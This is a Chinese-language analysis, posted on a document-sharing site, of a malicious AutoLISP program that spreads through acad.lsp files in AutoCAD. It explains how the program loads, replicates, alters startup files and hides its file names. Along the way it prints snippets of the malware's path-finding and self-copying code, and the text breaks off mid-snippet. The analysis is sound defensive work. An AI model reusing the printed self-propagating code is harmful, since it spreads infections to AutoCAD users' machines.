关于acad.lsp文件的恶意代码分析.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
关于acad.lsp文件的恶意代码分析 远大铝业工程有限公司欧洲设计部 岳亮 AutoCAD是我们工程设计人员最常用的软件之一。凭借AutoLisp/VLisp及VBA,ARX等众多二次开发接口,AutoCAD具备了优越的扩展性,为复杂工程的建模和计算提供了有力支持。然而灵活强大的扩展性也是一把双刃剑,与MS Office的VBA平台带来的宏病毒类似,AutoLisp平台下也出现了一些具备部分病毒特征的恶意程序。本文仅以较常见的通过acad.lsp文件传播的“准病毒”的变种为例来分析此类恶意程序的特征。 首先,我们先来了解一下这类程序的加载方式。 AutoCAD在打开新的图形文件时,会搜索同路径下的acad.lsp文件,如果存在,则加载之。这正是此类程序得以首次运行的必经之路。 程序激活之后,便和所有病毒木马一样,开始自我复制的过程。 由于AutoCAD对.lsp文件明文保存,我们可以直接用记事本打开acad.lsp文件,了解其全部源代码。程序的初始化代码部分如下: (setq wold_cmd (getvar cmdecho)) (setvar cmdecho 0) (setq wpath (findfile base.dcl)) (setq wpath (substr wpath 1 (- (strlen wpath) 8))) (setq wwmnlwpath (getvar menuname)) (setq wnowdwg (getvar dwgname)) (setq wwjqm (findfile wnowdwg)) (setq wdwgwpath (substr wwjqm 1 (- (strlen wwjqm) (strlen wnowdwg)))) 在这一段代码中,我们看到,程序将其入侵的目标瞄向了三个路径:保存用户CAD设置的路径、CAD安装的路径以及当前打开的图形所在路径。这里如果使用(getenv ACAD)的话,目标范围将扩大为所有支持文件搜索路径。 确定目标路径之后,恶意程序首先将自已在目标路径复制出若干副本。这些副本有些仍然命名为acad.lsp,有些则使用了其它更具欺骗性的文件名,以帮助其躲避用户的检查。使用不同的文件名,这正是病毒木马等最常见最初级的规避查杀的方法。 新的副本产生后,还不会随AutoCAD的每次启动而运行。所以,程序的下一步工作,就是修改启动项,添加所有新生成的副本。acad2***.lsp文件通常是最先被修改的目标(2***为当前CAD版本号,如CAD2006即为acad2006.lsp),acad2***doc.lsp,acad.mnl以及acad.lsp文件(由于*.lsp文件是先编译后执行,编译完成后文件即已关闭,故程序能够修改其自身硬盘文件)都可能成为被修改的目标。理论上,其它所有以明文方式保存的程序文件,包括*.lsp,*.mnl,*.dcl也都能被这样修改,但不具备“CAD运行即加载”这样的条件,故多数变种不会去修改后者。 (defun wwriteapp () (if (setq wwjm1 (open wnewacad w)) (progn (setq wwjm (open woldacad r)) (while (setq wwz (read-line wwjm)) (write-line wwz wwjm1) ) (close wwjm) (close wwjm1) ) ) ) (setq wwjqm (strcat wpath acaddoc.lsp)) (if (setq wwjm (open wwjqm r)) (progn (close wwjm) (vl-file-delete (strcat wpath acaddoc.lsp)) (vl-file-delete (strcat wdwgwpath acaddoc.lsp)) (setq woldacad (findfile acad.lsp)) (setq wnewacad (strcat wpath acadapp.lsp)) (wwriteapp) ) ) 以上代码的作用就是在被修改文件中写入类似 (load acadapp.lsp) (princ) 这样的代码。事实上,我们常用的远大标准化软件也是通过在acad2***.lsp文件结尾添加“(load YBSYS.VLX)”来达到与CAD一同启动的目的的。 值得注意的是,以本文分析的这一版本变种为例,前文中的部分植入代码及目标文件名并不是显式的,而是以类似 (strcat (chr 97) (ch

文档评论(0)

82393aa + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档